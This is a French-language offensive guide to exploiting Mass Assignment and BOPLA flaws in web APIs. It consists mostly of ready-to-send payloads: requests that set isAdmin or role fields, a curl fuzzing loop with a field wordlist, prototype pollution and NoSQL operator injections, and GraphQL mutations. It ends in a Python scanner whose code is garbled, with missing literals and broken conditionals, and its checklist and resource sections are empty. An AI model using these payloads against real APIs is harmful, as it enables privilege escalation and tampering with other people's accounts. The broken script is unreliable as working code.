| name | api-mass-assignment |
| description | Guide complet d'exploitation de Mass Assignment (API3) et Broken Object Property Level Authorization (BOPLA) — hidden fields, extra properties, prototype pollution, parameter pollution, et contournement de DTO |
| category | cybersecurite |
Mass Assignment & BOPLA — Guide d'Exploitation Avancé
Introduction
Le Mass Assignment (API3-2023) se produit quand une API lie automatiquement les paramètres de la requête aux propriétés internes d'un objet, permettant à l'attaquant de modifier des champs non prévus. Le BOPLA (Broken Object Property Level Authorization) est le nouveau nom OWASP.
1. Mass Assignment Basique
1.1 Extra Properties dans les Requêtes
POST /api/v1/users/signup HTTP/1.1
Content-Type: application/json
{
"username": "attacker",
"password": "secret123",
"isAdmin": true,
"role": "admin",
"quota": 999999999,
"verified": true,
"emailVerified": true,
"email": "attacker@target.com",
"balance": 1000000,
"credits": 99999,
"isPremium": true,
"subscription": "enterprise"
}
1.2 PUT/PATCH — Modification de Champs
PUT /api/v1/users/me HTTP/1.1
Content-Type: application/json
{
"displayName": "New Name",
"internalNotes": "hacked",
"accountStatus": "active",
"passwordHash": "..."
}
PATCH /api/v1/users/me
Content-Type: application/json
[
{"op": "replace", "path": "/role", "value": "admin"},
{"op": "add", "path": "/permissions", "value": ["*"]}
]
2. Découverte de Champs Cachés
2.1 Analyse des Réponses API
curl -s https://api.target.com/api/v1/users/me | jq 'keys'
curl -s https://api.target.com/api/v1/users/1 \
-H "Authorization: Bearer <admin_token>" | jq 'keys'
curl -s https://api.target.com/api/v1/users/me | jq '. | with_entries(select(.key | test("admin|role|perm|flag|secret|internal|is_")))'
2.2 Fuzzing de Champs
for field in isAdmin role permission quota credits verified \
isPremium isVerified emailVerified accountType \
userType accessLevel subscription plan tier \
isStaff isSuperuser isActive isDeleted canDelete \
canEdit canManage isOwner isModerator; do
curl -X PATCH https://api.target.com/api/v1/users/me \
-H "Content-Type: application/json" \
-d "{\"$field\": true}"
echo "---"
done
2.3 Wordlist Spécifique
cat << 'EOF' > fields.txt
isAdmin
is_admin
isadmin
admin
role
roles
permission
permissions
accessLevel
access_level
userType
user_type
accountType
account_type
plan
tier
subscription
isPremium
is_premium
isVerified
is_verified
emailVerified
email_verified
quota
credits
balance
points
score
isActive
is_active
isBanned
isDeleted
isStaff
is_superuser
isSuperuser
isModerator
isOwner
isContributor
canDelete
canEdit
canManage
is_enterprise
isPro
is_pro
isInternal
is_internal
isSystem
is_system
isHidden
is_hidden
isArchived
is_archived
isFrozen
is_frozen
isLocked
is_locked
approved
rejected
status
state
validationStatus
verificationStatus
onboardingComplete
isOnboarded
hasCompletedTutorial
hasAcceptedTerms
termsAccepted
privacyAccepted
marketingConsent
dataConsent
featureFlags
features
toggles
experiments
abTestGroup
referralCode
referredBy
commission
commissionRate
discountCode
discountPercent
vatExempt
taxExempt
taxRate
currency
locale
timezone
EOF
3. Content-Type Switching
3.1 XML → JSON → Form → YAML
POST /api/v1/users/signup
Content-Type: application/xml
<user>
<username>attacker</username>
<password>secret</password>
<isAdmin type="boolean">true</isAdmin>
<role>admin</role>
</user>
POST /api/v1/users/signup
Content-Type: application/x-www-form-urlencoded
username=attacker&password=secret&isAdmin=true&role=admin
POST /api/v1/users/signup
Content-Type: application/x-yaml
username: attacker
password: secret
isAdmin: true
role: admin
3.2 Nested Object Injection
{"password": "newpass"}
{"password": {"$ne": ""}}
{"roles": ["admin", "user"]}
{"roles": "admin"}
{"roles": ["admin"]}
{"settings": {"theme": "dark", "adminOverride": true}}
4. Prototype Pollution via API
4.1 JSON Constructor Injection
POST /api/v1/users/signup
Content-Type: application/json
{
"username": "attacker",
"__proto__": {
"isAdmin": true,
"admin": true
}
}
4.2 Constructor Bypass
POST /api/v1/users/signup
{"constructor": {"prototype": {"isAdmin": true}}}
POST /api/v1/users/signup
{"__proto__": {"admin": true, "isAdmin": true}}
POST /api/v1/users/signup
{"__proto__": {"admin": true}}
GET /api/v1/users?__proto__[admin]=true
5. Array/Object Injection
5.1 Array-based Injection
POST /api/v1/users/signup
{"roles": "admin"}
{"roles": ["admin"]}
{"roles": ["admin", "user", "moderator"]}
{"userIds": [1,2,3,4,5,6,7,8,9,10]}
5.2 Object ID Manipulation
POST /api/v1/users/update
{"id": "me"}
{"id": 1}
{"id": "1"}
{"id": null}
{"id": ["1","2","3"]}
6. BOPLA — Hidden Property Exploitation
6.1 Response Property Inspection
curl -s "https://api.target.com/api/v1/users/me?fields=id,email,password,isAdmin,role,ssn,creditCard"
curl -s "https://api.target.com/api/v1/users/me?fields=id,email,passwordHash,internalNotes,accountStatus"
curl -s "https://api.target.com/api/v1/users/me?select=id,email,isAdmin,role,permissions"
curl -X POST https://api.target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ me { id email isAdmin role passwordHash internalNotes } }"}'
6.2 Property Type Confusion
POST /api/v1/users/update
{"isAdmin": "true"}
{"isAdmin": 1}
{"isAdmin": "yes"}
{"isAdmin": [true]}
{"isAdmin": {"$gt": 0}}
{"isAdmin": {"_type": "boolean", "_value": true}}
7. Greedy / DTO Bypass
7.1 Mass Assignment via Nested Objects
POST /api/v1/orders
{
"product": "laptop",
"quantity": 1,
"user": {
"id": 1,
"isAdmin": true,
"discountRate": 100
}
}
7.2 PUT vs POST — All Fields
PUT /api/v1/users/1
Content-Type: application/json
{
"username": "admin",
"password": "newpass",
"isAdmin": true,
"role": "superadmin",
"quota": 999999,
"email": "admin@hacked.com"
}
8. GraphQL Mutation Bypass
mutation {
updateUser(
input: {
id: 1
name: "hacker"
isAdmin: true
role: "superadmin"
__proto__: { admin: true }
}
) {
id
name
role
}
}
Script Automatisé
"""Scanner de Mass Assignment automatisé."""
import requests
import json
BASE = "https://api.target.com"
TOKEN = "Bearer <token>"
SENSITIVE_FIELDS = [
"isAdmin", "role", "roles", "permission", "permissions",
"quota", "credits", "balance", "isVerified", "emailVerified",
"isPremium", "subscription", "plan", "tier", "accessLevel",
"isStaff", "isSuperuser", "isModerator", "isOwner"
]
def test_mass_assignment(endpoint, method="POST"):
"""Teste l'assignation de champs sensibles."""
for field in SENSITIVE_FIELDS:
payload = {"username": "test", "password": "test123", field: True}
if method == "POST":
r = requests.post(BASE + endpoint, json=payload,
headers={"Authorization": TOKEN})
elif method == "PATCH":
r = requests.patch(BASE + endpoint, json=payload,
headers={"Authorization": TOKEN})
if r.status_code in [, , ]:
data = r.json() r.text {}
field data field (r.text):
()
()
__name__ == :
test_mass_assignment()
test_mass_assignment(, )
Checklist
Ressources